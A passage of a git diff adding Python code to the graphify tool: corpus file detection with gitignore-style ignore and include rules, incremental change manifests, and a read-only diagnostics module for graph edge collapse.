out_dir.mkdir(parents=True, exist_ok=True) + # Use a stable name derived from the original path to avoid collisions + import hashlib + name_hash = hashlib.sha256(str(path.resolve()).encode()).hexdigest()[:8] + out_path = out_dir / f"{path.stem}_{name_hash}.md" + out_path.write_text( + f"\n\n{text}", + encoding="utf-8", + ) + return out_path + + +def count_words(path: Path) -> int: + try: + ext = path.suffix.lower() + if ext == ".pdf": + return len(extract_pdf_text(path).split()) + if ext == ".docx": + return len(docx_to_markdown(path).split()) + if ext == ".xlsx": + return len(xlsx_to_markdown(path).split()) + return len(path.read_text(encoding="utf-8", errors="ignore").split()) + except Exception: + return 0 + + +# Directory names to always skip - venvs, caches, build artifacts, deps +_SKIP_DIRS = { + "venv", ".venv", "env", ".env", + "node_modules", "__pycache__", ".git", + "dist", "build", "target", "out", + "site-packages", "lib64", + ".pytest_cache", ".mypy_cache", ".ruff_cache", + ".tox", ".eggs", "*.egg-info", + "graphify-out", # never treat own output as source input (#524) + # Coverage/test-artefact dirs — generated, never architecturally meaningful + "coverage", "lcov-report", # Vitest/Istanbul/nyc HTML reports (#870) + "visual-tests", "visual-test", # Playwright/visual-regression bundles (#869) + "__snapshots__", "snapshots", # Jest/Vitest snapshot dirs + "storybook-static", # Storybook production build output + "dist-protected", # Protected dist variants (same noise as dist) + # Framework cache/build dirs — generated, never architecturally meaningful (#873) + ".next", ".nuxt", ".turbo", ".angular", + ".idea", ".cache", ".parcel-cache", ".svelte-kit", ".terraform", ".serverless", + ".graphify", # graphify's own extraction cache — never index self-generated data + ".worktrees", # git worktree convention (#947) — sibling checkouts, always redundant +} + +# Large generated files that are never useful to extract +_SKIP_FILES = { + "package-lock.json", "yarn.lock", "pnpm-lock.yaml", + "Cargo.lock", "poetry.lock", "Gemfile.lock", + "composer.lock", "go.sum", "go.work.sum", +} + +def _is_noise_dir(part: str, parent: "Path | None" = None) -> bool: + """Return True if this directory name looks like a venv, cache, or dep dir.""" + if part in _SKIP_DIRS: + return True + # Catch *_venv, *_repo/site-packages patterns + if part.endswith("_venv") or part.endswith("_env"): + return True + if part.endswith(".egg-info"): + return True + # worktrees/ nested inside a dotted dir (e.g. .claude/worktrees/, .git/worktrees/) + if part == "worktrees" and parent is not None and parent.name.startswith("."): + return True + return False + + +_VCS_MARKERS = (".git", ".hg", ".svn", "_darcs", ".fossil") + + +def _parse_gitignore_line(raw: str) -> str: + """Parse one raw line from a .graphifyignore file per gitignore spec. + + - Strip newline chars + - Strip inline comments (whitespace + # suffix), but only when # is + preceded by whitespace — so path#with#hash.py is preserved + - Unescape \\# to literal # + - Remove trailing spaces unless escaped with backslash + - Strip leading whitespace + - Return empty string for blank lines and full-line comments + """ + line = raw.rstrip("\n\r") + line = line.lstrip() + if not line or line.startswith("#"): + return "" + # Strip inline comments: require whitespace before # (gitignore extension) + line = re.sub(r"\s+#+[^\\].*$", "", line) + # Unescape \# → literal # + line = line.replace("\\#", "#") + # Remove unescaped trailing spaces (per gitignore spec) + line = re.sub(r"(? Path | None: + """Walk upward from start; return the first directory containing a VCS marker.""" + current = start.resolve() + home = Path.home() + while True: + if any((current / m).exists() for m in _VCS_MARKERS): + return current + parent = current.parent + if parent == current or current == home: + return None + current = parent + + +def _load_graphifyignore(root: Path) -> list[tuple[Path, str]]: + """Read .graphifyignore files and return (anchor_dir, pattern) pairs. + + Patterns are returned outer-first so that inner (closer) rules are + appended last and win via last-match-wins semantics — matching gitignore + behavior exactly. + + Walk ceiling: the nearest VCS root if inside a repo, otherwise the scan + root itself (hermetic — no leakage across unrelated sibling projects). + """ + root = root.resolve() + ceiling = _find_vcs_root(root) or root + + # Collect ancestor dirs from ceiling down to root (outer → inner) + dirs: list[Path] = [] + current = root + while True: + dirs.append(current) + if current == ceiling: + break + current = current.parent + dirs.reverse() # ceiling first, scan root last + + patterns: list[tuple[Path, str]] = [] + for d in dirs: + # Prefer .graphifyignore; fall back to .gitignore so projects that already + # maintain a .gitignore get sensible defaults without duplicating it (#945). + ignore_file = d / ".graphifyignore" + if not ignore_file.exists(): + ignore_file = d / ".gitignore" + if ignore_file.exists(): + for raw in ignore_file.read_text(encoding="utf-8", errors="ignore").splitlines(): + line = _parse_gitignore_line(raw) + if line: + patterns.append((d, line)) + return patterns + + +def _is_ignored(path: Path, root: Path, patterns: list[tuple[Path, str]]) -> bool: + """Return True if the path should be ignored per .graphifyignore patterns. + + Uses gitignore last-match-wins semantics: all patterns are evaluated in + order; the final matching pattern determines the result. Negation patterns + (starting with !) un-ignore a previously ignored path. + + Enforces gitignore's parent-exclusion rule: a ! pattern cannot re-include + a file whose ancestor directory is already excluded. + """ + if not patterns: + return False + + def _eval(target: Path) -> bool: + """Apply last-match-wins to a single target path.""" + def _matches(rel: str, p: str, anchored: bool) -> bool: + if anchored: + return fnmatch.fnmatch(rel, p) + parts = rel.split("/") + if fnmatch.fnmatch(rel, p): + return True + if fnmatch.fnmatch(target.name, p): + return True + for i, part in enumerate(parts): + if fnmatch.fnmatch(part, p): + return True + if fnmatch.fnmatch("/".join(parts[:i + 1]), p): + return True + return False + + result = False + for anchor, pattern in patterns: + negated = pattern.startswith("!") + raw = pattern[1:] if negated else pattern + anchored = raw.startswith("/") + p = raw.strip("/") + if not p: + continue + + matched = False + if anchored: + try: + rel_anchor = str(target.relative_to(anchor)).replace(os.sep, "/") + matched = _matches(rel_anchor, p, anchored=True) + except ValueError: + pass + else: + try: + rel = str(target.relative_to(root)).replace(os.sep, "/") + matched = _matches(rel, p, anchored=False) + except ValueError: + pass + if not matched and anchor != root: + try: + rel_anchor = str(target.relative_to(anchor)).replace(os.sep, "/") + matched = _matches(rel_anchor, p, anchored=False) + except ValueError: + pass + + if matched: + result = not negated # last match wins; ! flips to un-ignore + return result + + # Gitignore parent-exclusion rule: a ! re-include cannot rescue a file + # whose ancestor directory is already excluded. Walk ancestors top-down; + # if any ancestor is excluded, the file is excluded regardless of later + # ! patterns targeting the file or a sub-path. + try: + rel_parts = path.relative_to(root).parts + except ValueError: + return _eval(path) + + ancestor = root + for part in rel_parts[:-1]: + ancestor = ancestor / part + if _eval(ancestor): + return True + return _eval(path) + + +def _load_graphifyinclude(root: Path) -> list[tuple[Path, str]]: + """Read .graphifyinclude allowlist patterns from root and ancestors. + + Include patterns opt matching hidden files/dirs into traversal. Sensitive + files and hard-skipped noise directories are still excluded later. + Uses the same VCS-root ceiling logic as _load_graphifyignore. + """ + root = root.resolve() + ceiling = _find_vcs_root(root) or root + + dirs: list[Path] = [] + current = root + while True: + dirs.append(current) + if current == ceiling: + break + current = current.parent + dirs.reverse() + + patterns: list[tuple[Path, str]] = [] + for d in dirs: + include_file = d / ".graphifyinclude" + if include_file.exists(): + for raw in include_file.read_text(encoding="utf-8", errors="ignore").splitlines(): + line = _parse_gitignore_line(raw) + if line: + patterns.append((d, line)) + return patterns + + +def _is_included(path: Path, root: Path, patterns: list[tuple[Path, str]]) -> bool: + """Return True if path matches any .graphifyinclude allowlist pattern.""" + if not patterns: + return False + + def _matches(rel: str, p: str, anchored: bool) -> bool: + if anchored: + return fnmatch.fnmatch(rel, p) + parts = rel.split("/") + if fnmatch.fnmatch(rel, p): + return True + if fnmatch.fnmatch(path.name, p): + return True + for i, part in enumerate(parts): + if fnmatch.fnmatch(part, p): + return True + if fnmatch.fnmatch("/".join(parts[:i + 1]), p): + return True + return False + + for anchor, pattern in patterns: + anchored = pattern.startswith("/") + p = pattern.strip("/") + if not p: + continue + if anchored: + try: + rel_anchor = str(path.relative_to(anchor)).replace(os.sep, "/") + if _matches(rel_anchor, p, anchored=True): + return True + except ValueError: + pass + else: + try: + rel = str(path.relative_to(root)).replace(os.sep, "/") + if _matches(rel, p, anchored=False): + return True + except ValueError: + pass + if anchor != root: + try: + rel_anchor = str(path.relative_to(anchor)).replace(os.sep, "/") + if _matches(rel_anchor, p, anchored=False): + return True + except ValueError: + pass + return False + + +def _could_contain_included_path(path: Path, root: Path, patterns: list[tuple[Path, str]]) -> bool: + """Return True if a directory may contain files matched by .graphifyinclude.""" + if not patterns: + return False + + rels: list[str] = [] + try: + rels.append(str(path.relative_to(root)).replace(os.sep, "/")) + except ValueError: + pass + for anchor, _ in patterns: + if anchor != root: + try: + rels.append(str(path.relative_to(anchor)).replace(os.sep, "/")) + except ValueError: + pass + + for rel in rels: + rel = rel.strip("/") + if not rel: + return True + for _, pattern in patterns: + p = pattern.strip("/") + if not p: + continue + if p == rel or p.startswith(rel + "/"): + return True + if fnmatch.fnmatch(rel, p): + return True + return False + + +def _auto_follow_symlinks(root: Path) -> bool: + """Auto-detect: ``True`` if ``root`` has any direct symlinked child. + + Allows "fake working dir" patterns (e.g. a folder full of symlinks pointing + at scattered source dirs across the user's machine) to work transparently + without the caller having to know to pass ``follow_symlinks=True``. + + Override is always possible by passing an explicit ``follow_symlinks=True`` + or ``follow_symlinks=False`` to :func:`detect` / :func:`detect_incremental`. + """ + try: + for p in root.iterdir(): + if p.is_symlink(): + return True + except (OSError, PermissionError): + pass + return False + + +def detect(root: Path, *, follow_symlinks: bool | None = None, google_workspace: bool | None = None, extra_excludes: list[str] | None = None) -> dict: + root = root.resolve() + if follow_symlinks is None: + follow_symlinks = _auto_follow_symlinks(root) + google_workspace = google_workspace_enabled() if google_workspace is None else google_workspace + files: dict[FileType, list[str]] = { + FileType.CODE: [], + FileType.DOCUMENT: [], + FileType.PAPER: [], + FileType.IMAGE: [], + FileType.VIDEO: [], + } + total_words = 0 + + skipped_sensitive: list[str] = [] + ignore_patterns = _load_graphifyignore(root) + # CLI --exclude patterns are anchored at the scan root and appended last + # so they win over any .graphifyignore/.gitignore rules (#947). + if extra_excludes: + for pat in extra_excludes: + line = _parse_gitignore_line(pat) + if line: + ignore_patterns.append((root, line)) + include_patterns = _load_graphifyinclude(root) + + # Always include graphify-out/memory/ - query results filed back into the graph + memory_dir = root / "graphify-out" / "memory" + scan_paths = [root] + if memory_dir.exists(): + scan_paths.append(memory_dir) + + seen: set[Path] = set() + all_files: list[Path] = [] + + for scan_root in scan_paths: + in_memory_tree = memory_dir.exists() and str(scan_root).startswith(str(memory_dir)) + for dirpath, dirnames, filenames in os.walk(scan_root, followlinks=follow_symlinks): + dp = Path(dirpath) + if follow_symlinks and os.path.islink(dirpath): + real = os.path.realpath(dirpath) + parent_real = os.path.realpath(os.path.dirname(dirpath)) + if parent_real == real or parent_real.startswith(real + os.sep): + dirnames.clear() + continue + if not in_memory_tree: + # Prune noise dirs in-place so os.walk never descends into them. + # Dot dirs are allowed — users often want .github/, .claude/, etc. + # Framework caches (.next, .nuxt, …) are caught by _is_noise_dir. + # When negation patterns (!) exist, skip directory-level ignore + # pruning so negated files inside can still be reached. + has_negation = any(p.startswith("!") for _, p in ignore_patterns) + dirnames[:] = [ + d for d in dirnames + if not _is_noise_dir(d, dp) + and (has_negation or not _is_ignored(dp / d, root, ignore_patterns)) + ] + for fname in filenames: + if fname in _SKIP_FILES: + continue + p = dp / fname + if p not in seen: + seen.add(p) + all_files.append(p) + + all_files.sort(key=lambda p: str(p)) + + converted_dir = root / "graphify-out" / "converted" + + for p in all_files: + # For memory dir files, skip hidden/noise filtering + in_memory = memory_dir.exists() and str(p).startswith(str(memory_dir)) + if not in_memory: + # Skip files inside our own converted/ dir (avoid re-processing sidecars) + if str(p).startswith(str(converted_dir)): + continue + if not in_memory and _is_ignored(p, root, ignore_patterns): + continue + if _is_sensitive(p): + skipped_sensitive.append(str(p)) + continue + ftype = classify_file(p) + if ftype: + if p.suffix.lower() in GOOGLE_WORKSPACE_EXTENSIONS: + if not google_workspace: + skipped_sensitive.append( + str(p) + + " [Google Workspace shortcut skipped - pass --google-workspace " + "or set GRAPHIFY_GOOGLE_WORKSPACE=1]" + ) + continue + try: + md_path = convert_google_workspace_file(p, converted_dir, xlsx_to_markdown=xlsx_to_markdown) + except Exception as exc: + skipped_sensitive.append(str(p) + f" [Google Workspace export failed: {exc}]") + continue + if md_path: + if _is_ignored(md_path, root, ignore_patterns): + continue + files[ftype].append(str(md_path)) + total_words += count_words(md_path) + else: + skipped_sensitive.append(str(p) + " [Google Workspace export produced no readable text]") + continue + # Office files: convert to markdown sidecar so subagents can read them + if p.suffix.lower() in OFFICE_EXTENSIONS: + md_path = convert_office_file(p, converted_dir) + if md_path: + if _is_ignored(md_path, root, ignore_patterns): + continue + files[ftype].append(str(md_path)) + total_words += count_words(md_path) + else: + # Conversion failed (library not installed) - skip with note + skipped_sensitive.append(str(p) + " [office conversion failed - pip install graphifyy[office]]") + continue + files[ftype].append(str(p)) + if ftype != FileType.VIDEO: + total_words += count_words(p) + + for ftype in files: + files[ftype].sort() + + total_files = sum(len(v) for v in files.values()) + needs_graph = total_words >= CORPUS_WARN_THRESHOLD + + # Determine warning - lower bound, upper bound, or sensitive files skipped + warning: str | None = None + if not needs_graph: + warning = ( + f"Corpus is ~{total_words:,} words - fits in a single context window. " + f"You may not need a graph." + ) + elif total_words >= CORPUS_UPPER_THRESHOLD or total_files >= FILE_COUNT_UPPER: + warning = ( + f"Large corpus: {total_files} files · ~{total_words:,} words. " + f"Semantic extraction will be expensive (many Claude tokens). " + f"Consider running on a subfolder." + ) + + return { + "files": {k.value: v for k, v in files.items()}, + "total_files": total_files, + "total_words": total_words, + "needs_graph": needs_graph, + "warning": warning, + "skipped_sensitive": skipped_sensitive, + "graphifyignore_patterns": len(ignore_patterns), + "scan_root": str(root.resolve()), + } + + +def _md5_file(path: Path) -> str: + """MD5 of file contents streamed in 64KB chunks — for change detection only.""" + import hashlib as _hl + h = _hl.md5(usedforsecurity=False) + try: + with path.open("rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + h.update(chunk) + except OSError: + return "" + return h.hexdigest() + + +def _to_relative_for_storage(key: str, root: Path) -> str: + """Return ``key`` as a forward-slash relative path from ``root``. + + Keys outside ``root`` (out-of-tree symlinked sources, external --include + paths) and already-relative keys pass through unchanged — mirrors the + fallback in :func:`graphify.watch._relativize_source_files` so the + on-disk artifact survives the round-trip even when some paths cannot be + portably encoded. + + Only ``root`` is resolved — the key itself is relativized symbolically + so an in-root symlink (e.g. ``alias.py -> sub/target.py``) is stored + under its own name. Resolving the key would point the stored entry at + the symlink target, and the original key would then miss on reload and + re-extract on every incremental run. + """ + p = Path(key) + if not p.is_absolute(): + return key + try: + rel = os.path.relpath(p, Path(root).resolve()) + except (ValueError, OSError): + return key # outside root (e.g. Windows cross-drive) + # ``os.path.relpath`` happily produces ``../foo`` for paths outside + # root; mirror the prior ``relative_to``-raises-ValueError semantics by + # keeping out-of-root entries in their absolute form. + if rel == ".." or rel.startswith(".." + os.sep) or rel.startswith("../"): + return key + return rel.replace(os.sep, "/") + + +def _to_absolute_from_storage(key: str, root: Path) -> str: + """Inverse of :func:`_to_relative_for_storage`. + + Re-anchor a stored key against ``root``. Already-absolute keys + (legacy manifests, out-of-root entries) pass through unchanged so + that newly-loaded manifests from before this change remain readable. + Uses ``Path(root).resolve()`` so the produced absolute path matches + what :func:`detect` returns (which also resolves the scan root). + """ + p = Path(key) + if p.is_absolute(): + return str(p) + return str(Path(root).resolve() / p) + + +def load_manifest( + manifest_path: str = _MANIFEST_PATH, + *, + root: Path | None = None, +) -> dict: + """Load the manifest from a previous run. Returns {} on any error. + + When ``root`` is provided, stored relative keys are re-anchored against + it so callers see absolute paths regardless of on-disk format. Legacy + manifests with absolute keys pass through unchanged, so a graphify-out/ + written by an older version (or by a caller that didn't supply ``root`` + to :func:`save_manifest`) remains readable. + """ + try: + raw = json.loads(Path(manifest_path).read_text(encoding="utf-8")) + except Exception: + return {} + if root is None or not isinstance(raw, dict): + return raw + return {_to_absolute_from_storage(k, root): v for k, v in raw.items()} + + +def save_manifest( + files: dict[str, list[str]], + manifest_path: str = _MANIFEST_PATH, + *, + kind: str = "both", + root: Path | None = None, +) -> None: + """Save current file mtimes + content hashes for change detection. + + kind="ast" — written by `graphify update` (AST-only rebuild). Stamps + ast_hash; preserves an existing semantic_hash only when + the file content is unchanged (mtime + hash match). + kind="semantic" — written by `graphify extract` after semantic extraction. + Stamps semantic_hash; preserves existing ast_hash. + kind="both" — full pipeline: stamps both hashes (default). + + When ``root`` is provided, keys are relativized against it before write + (forward-slash, posix-style) so the on-disk manifest is portable across + machines and checkout locations (#777). Out-of-root entries are written + as absolute so they continue to round-trip on the saving machine. + When ``root`` is None the legacy absolute-keyed format is preserved. + """ + existing = load_manifest(manifest_path, root=root) + + def _normalise_entry(entry): + if isinstance(entry, (int, float)): + return {"mtime": entry, "ast_hash": "", "semantic_hash": ""} + if isinstance(entry, dict) and "hash" in entry and "ast_hash" not in entry: + return {"mtime": entry.get("mtime", 0), "ast_hash": entry["hash"], "semantic_hash": ""} + if isinstance(entry, dict): + return entry + return None + + # Seed from the existing manifest so incremental callers passing a subset + # of files don't silently erase entries for untouched files (#917). + # Prune entries whose file no longer exists on disk — those are genuine + # deletions that detect_incremental() should treat as gone. + manifest: dict[str, dict] = {} + for f, entry in existing.items(): + normalised = _normalise_entry(entry) + if normalised is None: + continue + try: + if Path(f).exists(): + manifest[f] = normalised + except OSError: + continue + + for file_list in files.values(): + for f in file_list: + try: + p = Path(f) + mtime = p.stat().st_mtime + h = _md5_file(p) + except OSError: + continue # file deleted between detect() and manifest write + prev = _normalise_entry(existing.get(f, {})) or {} + entry: dict = {"mtime": mtime} + if kind in ("ast", "both"): + entry["ast_hash"] = h + else: + entry["ast_hash"] = prev.get("ast_hash", "") + if kind in ("semantic", "both"): + entry["semantic_hash"] = h + else: + # Preserve semantic_hash only when content is unchanged + entry["semantic_hash"] = prev.get("semantic_hash", "") if h == prev.get("ast_hash", "") else "" + manifest[f] = entry + if root is not None: + # Persist in portable form: forward-slash relative paths. Keys outside + # ``root`` (out-of-tree symlinked corpora, --include sources) keep + # their absolute form so the manifest round-trips on the saving + # machine even when not every entry can be portably encoded. + manifest = {_to_relative_for_storage(k, root): v for k, v in manifest.items()} + Path(manifest_path).parent.mkdir(parents=True, exist_ok=True) + Path(manifest_path).write_text(json.dumps(manifest, indent=2), encoding="utf-8") + + +def detect_incremental( + root: Path, + manifest_path: str = _MANIFEST_PATH, + *, + follow_symlinks: bool | None = None, + google_workspace: bool | None = None, + kind: str = "semantic", + extra_excludes: list[str] | None = None, +) -> dict: + """Like detect(), but returns only new or modified files since the last run. + + kind="semantic" (default for extract): a file is "changed" when its + semantic_hash is missing or its content has changed since the last + semantic extraction pass. Use this for `graphify extract` so that + files touched by `graphify update` (AST-only) are re-extracted + semantically. + kind="ast": a file is "changed" when its ast_hash is missing or its + content has changed. Use this for `graphify update`. + + Fast path: mtime unchanged + hash matches → unchanged (free, no disk IO + beyond stat). Slow path: mtime bumped → compare MD5 against the relevant + hash field before re-extracting. + + Backwards compatible with legacy manifests storing plain float mtime values + or {mtime, hash} dicts (treated as ast_hash only; semantic_hash = miss). + + The ``follow_symlinks`` flag is forwarded to :func:`detect` so corpora that + rely on symlinked sub-trees (e.g. a ``state_of_truth/`` symlink pointing to a + directory outside the scan root) are scanned consistently between full and + incremental runs. ``None`` (default) means auto-detect: ``True`` when ``root`` + contains at least one direct symlinked child, ``False`` otherwise. + """ + full = detect(root, follow_symlinks=follow_symlinks, google_workspace=google_workspace, extra_excludes=extra_excludes) + # Pass ``root`` so a manifest written with relative keys (post-#777) is + # re-anchored to the absolute form the rest of this function compares + # against. Legacy absolute-keyed manifests pass through unchanged. + manifest = load_manifest(manifest_path, root=root) + + if not manifest: + # No previous run - treat everything as new + full["incremental"] = True + full["new_files"] = full["files"] + full["unchanged_files"] = {k: [] for k in full["files"]} + full["new_total"] = full["total_files"] + return full + + new_files: dict[str, list[str]] = {k: [] for k in full["files"]} + unchanged_files: dict[str, list[str]] = {k: [] for k in full["files"]} + + for ftype, file_list in full["files"].items(): + for f in file_list: + stored = manifest.get(f) + try: + current_mtime = Path(f).stat().st_mtime + except Exception: + current_mtime = 0 + + # Legacy manifest: plain float value — treat as ast_hash only + if isinstance(stored, (int, float)): + changed = stored is None or current_mtime > stored + elif isinstance(stored, dict): + # Normalise legacy {mtime, hash} to new schema + if "hash" in stored and "ast_hash" not in stored: + stored = {"mtime": stored.get("mtime", 0), "ast_hash": stored["hash"], "semantic_hash": ""} + hash_key = "semantic_hash" if kind == "semantic" else "ast_hash" + stored_hash = stored.get(hash_key, "") + # Missing semantic_hash means update ran but extract hasn't — always re-extract + if not stored_hash: + changed = True + else: + stored_mtime = stored.get("mtime") + # Schema-drift guard (#1163): tolerate a nested {mtime: ...} + # dict or any non-numeric value without crashing. + if isinstance(stored_mtime, dict): + stored_mtime = stored_mtime.get("mtime") + if not isinstance(stored_mtime, (int, float)): + stored_mtime = None + if stored_mtime is None or current_mtime != stored_mtime: + # mtime bumped — verify with content hash before re-extracting + changed = _md5_file(Path(f)) != stored_hash + else: + changed = False + else: + changed = True # unknown format, re-extract to be safe + + if changed: + new_files[ftype].append(f) + else: + unchanged_files[ftype].append(f) + + # Files in manifest that no longer exist - their cached nodes are now ghost nodes + current_files = {f for flist in full["files"].values() for f in flist} + deleted_files = [f for f in manifest if f not in current_files] + + new_total = sum(len(v) for v in new_files.values()) + full["incremental"] = True + full["new_files"] = new_files + full["unchanged_files"] = unchanged_files + full["new_total"] = new_total + full["deleted_files"] = deleted_files + return full diff --git a/skills/graphify/diagnostics.py b/skills/graphify/diagnostics.py new file mode 100644 index 00000000..4d8abe29 --- /dev/null +++ b/skills/graphify/diagnostics.py @@ -0,0 +1,390 @@ +"""Read-only diagnostics for MultiDiGraph readiness.""" + +from __future__ import annotations + +import json +import re +from collections import Counter, defaultdict +from copy import deepcopy +from pathlib import Path +from typing import Any + +import networkx as nx + + +_SUPPRESSION_DECL_RE = re.compile(r"^\s*(?Pseen_[A-Za-z0-9_]+)\s*[:=]") +_TYPE_TUPLE_RE = re.compile(r"set\[tuple\[(?P[^\]]+)\]\]") + + +def _safe_text(value: Any) -> str: + if value is None: + return "" + if isinstance(value, (str, int, float, bool)): + return str(value) + return json.dumps(value, sort_keys=True, default=str, ensure_ascii=False) + + +def _edge_list(extraction: dict[str, Any]) -> list[Any]: + edges = extraction.get("edges") + if edges is None: + edges = extraction.get("links") + return edges if isinstance(edges, list) else [] + + +def _node_ids(extraction: dict[str, Any]) -> set[str]: + nodes = extraction.get("nodes", []) + if not isinstance(nodes, list): + return set() + return { + str(node["id"]) + for node in nodes + if isinstance(node, dict) and "id" in node and node.get("id") is not None + } + + +def _canonical_edge(edge: Any) -> dict[str, str]: + if not isinstance(edge, dict): + return { + "source": "", + "target": "", + "relation": "", + "confidence": "", + "source_file": "", + "source_location": "", + "context": "", + "_invalid": "non_object_edge", + } + source = edge.get("source", edge.get("from")) + target = edge.get("target", edge.get("to")) + return { + "source": _safe_text(source), + "target": _safe_text(target), + "relation": _safe_text(edge.get("relation")), + "confidence": _safe_text(edge.get("confidence")), + "source_file": _safe_text(edge.get("source_file")), + "source_location": _safe_text(edge.get("source_location")), + "context": _safe_text(edge.get("context")), + "_invalid": "", + } + + +def _exact_signature(edge: Any) -> str: + if not isinstance(edge, dict): + return "" + normalized = dict(edge) + if "source" not in normalized and "from" in normalized: + normalized["source"] = normalized["from"] + if "target" not in normalized and "to" in normalized: + normalized["target"] = normalized["to"] + normalized.pop("from", None) + normalized.pop("to", None) + return json.dumps( + normalized, + sort_keys=True, + default=str, + ensure_ascii=False, + separators=(",", ":"), + ) + + +def _count_extra(counter: Counter[Any]) -> int: + return sum(count - 1 for count in counter.values() if count > 1) + + +def _variant_group_count( + grouped_edges: dict[tuple[str, str], list[dict[str, str]]], + field: str, + *, + relation_sensitive: bool = False, +) -> int: + groups = 0 + for edges in grouped_edges.values(): + if relation_sensitive: + by_relation: dict[str, set[str]] = defaultdict(set) + for edge in edges: + by_relation[edge["relation"]].add(edge[field]) + groups += sum(1 for values in by_relation.values() if len(values) > 1) + elif len({edge[field] for edge in edges}) > 1: + groups += 1 + return groups + + +def _tuple_arity_from_annotation(line: str) -> int: + match = _TYPE_TUPLE_RE.search(line) + if not match: + return 0 + inside = match.group("inside").strip() + if not inside: + return 0 + return inside.count(",") + 1 + + +def scan_producer_suppression_sites(path: str | Path) -> dict[str, Any]: + """Find likely `seen_*` producer-suppression sets in an extractor file.""" + source_path = Path(path) + if not source_path.exists(): + return { + "path": str(source_path), + "total_sites": 0, + "sites": [], + "error": "file not found", + } + + sites: list[dict[str, Any]] = [] + lines = source_path.read_text(encoding="utf-8").splitlines() + for lineno, line in enumerate(lines, start=1): + match = _SUPPRESSION_DECL_RE.match(line) + if not match: + continue + sites.append( + { + "line": lineno, + "name": match.group("name"), + "tuple_arity": _tuple_arity_from_annotation(line), + "sample": line.strip()[:120], + } + ) + + return { + "path": str(source_path), + "total_sites": len(sites), + "sites": sites, + "error": "", + } + + +def diagnose_extraction( + extraction: dict[str, Any], + *, + directed: bool = True, + root: str | Path | None = None, + max_examples: int = 5, + extract_path: str | Path | None = None, +) -> dict[str, Any]: + """Summarize same-endpoint edge-collapse risk for one JSON graph/extraction dict.""" + from graphify.build import build_from_json + + node_ids = _node_ids(extraction) + raw_edges = _edge_list(extraction) + canonical_edges = [_canonical_edge(edge) for edge in raw_edges] + + exact_counts: Counter[str] = Counter(_exact_signature(edge) for edge in raw_edges) + directed_pairs: Counter[tuple[str, str]] = Counter() + undirected_pairs: Counter[tuple[str, str]] = Counter() + grouped: dict[tuple[str, str], list[dict[str, str]]] = defaultdict(list) + + non_object_edges = 0 + missing_endpoint_edges = 0 + dangling_endpoint_edges = 0 + self_loop_edges = 0 + valid_candidate_edges = 0 + + for edge in canonical_edges: + if edge["_invalid"]: + non_object_edges += 1 + continue + source = edge["source"] + target = edge["target"] + if not source or not target: + missing_endpoint_edges += 1 + continue + if source not in node_ids or target not in node_ids: + dangling_endpoint_edges += 1 + continue + if source == target: + self_loop_edges += 1 + valid_candidate_edges += 1 + directed_pair = (source, target) + undirected_pair = (source, target) if source <= target else (target, source) + directed_pairs[directed_pair] += 1 + undirected_pairs[undirected_pair] += 1 + grouped[directed_pair].append(edge) + + examples: list[dict[str, Any]] = [] + if max_examples > 0: + for (source, target), count in directed_pairs.most_common(): + if count < 2: + continue + edges = grouped[(source, target)] + examples.append( + { + "source": source, + "target": target, + "edge_count": count, + "relations": sorted({edge["relation"] for edge in edges}), + "source_files": sorted({edge["source_file"] for edge in edges}), + "source_locations": sorted({edge["source_location"] for edge in edges}), + "contexts": sorted({edge["context"] for edge in edges}), + } + ) + if len(examples) >= max_examples: + break + + build_error = "" + graph_type = "" + post_build_edge_count: int | None = None + post_build_node_count: int | None = None + try: + graph_input = deepcopy(extraction) + graph: nx.Graph = build_from_json(graph_input, directed=directed, root=root) + graph_type = type(graph).__name__ + post_build_edge_count = graph.number_of_edges() + post_build_node_count = graph.number_of_nodes() + except Exception as exc: + build_error = f"{type(exc).__name__}: {exc}" + + suppression_path = ( + Path(extract_path) if extract_path else Path(__file__).with_name("extract.py") + ) + + return { + "node_count": len(node_ids), + "raw_edge_count": len(raw_edges), + "non_object_edges": non_object_edges, + "missing_endpoint_edges": missing_endpoint_edges, + "dangling_endpoint_edges": dangling_endpoint_edges, + "self_loop_edges": self_loop_edges, + "valid_candidate_edges": valid_candidate_edges, + "exact_duplicate_edges": _count_extra(exact_counts), + "directed_unique_endpoint_pairs": len(directed_pairs), + "directed_same_endpoint_collapsed_edges": _count_extra(directed_pairs), + "undirected_unique_endpoint_pairs": len(undirected_pairs), + "undirected_same_endpoint_collapsed_edges": _count_extra(undirected_pairs), + "same_endpoint_group_count": sum(1 for count in directed_pairs.values() if count > 1), + "relation_variant_groups": _variant_group_count(grouped, "relation"), + "source_file_variant_groups": _variant_group_count( + grouped, "source_file", relation_sensitive=True + ), + "source_location_variant_groups": _variant_group_count( + grouped, "source_location", relation_sensitive=True + ), + "context_variant_groups": _variant_group_count(grouped, "context", relation_sensitive=True), + "post_build_graph_type": graph_type, + "post_build_node_count": post_build_node_count, + "post_build_edge_count": post_build_edge_count, + "post_build_error": build_error, + "producer_suppression": scan_producer_suppression_sites(suppression_path), + "examples": examples, + } + + +def _read_json_file(path: str | Path) -> dict[str, Any]: + """Read a JSON graph after applying Graphify's graph-load size cap.""" + from graphify.security import check_graph_file_size_cap + + json_path = Path(path) + check_graph_file_size_cap(json_path) + data = json.loads(json_path.read_text(encoding="utf-8")) + if not isinstance(data, dict): + raise ValueError("diagnostic input must be a JSON object") + return data + + +def diagnose_file( + path: str | Path, + *, + directed: bool | None = None, + root: str | Path | None = None, + max_examples: int = 5, + extract_path: str | Path | None = None, +) -> dict[str, Any]: + """Diagnose a graph/extraction JSON file without mutating it. + + When `directed` is None, the JSON's "directed" flag is honored. Raw + extraction JSON that has no "directed" flag defaults to directed analysis. + """ + data = _read_json_file(path) + if directed is None: + raw_directed = data.get("directed") + effective_directed = raw_directed if isinstance(raw_directed, bool) else True + else: + effective_directed = directed + + summary = diagnose_extraction( + data, + directed=effective_directed, + root=root, + max_examples=max_examples, + extract_path=extract_path, + ) + summary["input_path"] = str(path) + summary["effective_directed"] = effective_directed + return summary + + +def format_diagnostic_json(summary: dict[str, Any]) -> dict[str, Any]: + return { + "schema_version": 1, + "summary": { + key: value + for key, value in summary.items() + if key not in {"examples", "producer_suppression"} + }, + "examples": summary.get("examples", []), + "producer_suppression": summary.get("producer_suppression", {}), + "notes": [ + "Diagnostics are read-only.", + "A normal graph.json is already post-build and cannot recover raw producer edges.", + "Producer suppression sites are heuristic source-code evidence.", + ], + } + + +def format_diagnostic_report(summary: dict[str, Any]) -> str: + suppression = summary.get("producer_suppression", {}) + lines = [ + "[graphify] MultiDiGraph edge-collapse diagnostic", + f"input: {summary.get('input_path', '')}", + "input_stage: provided JSON (normal graph.json is 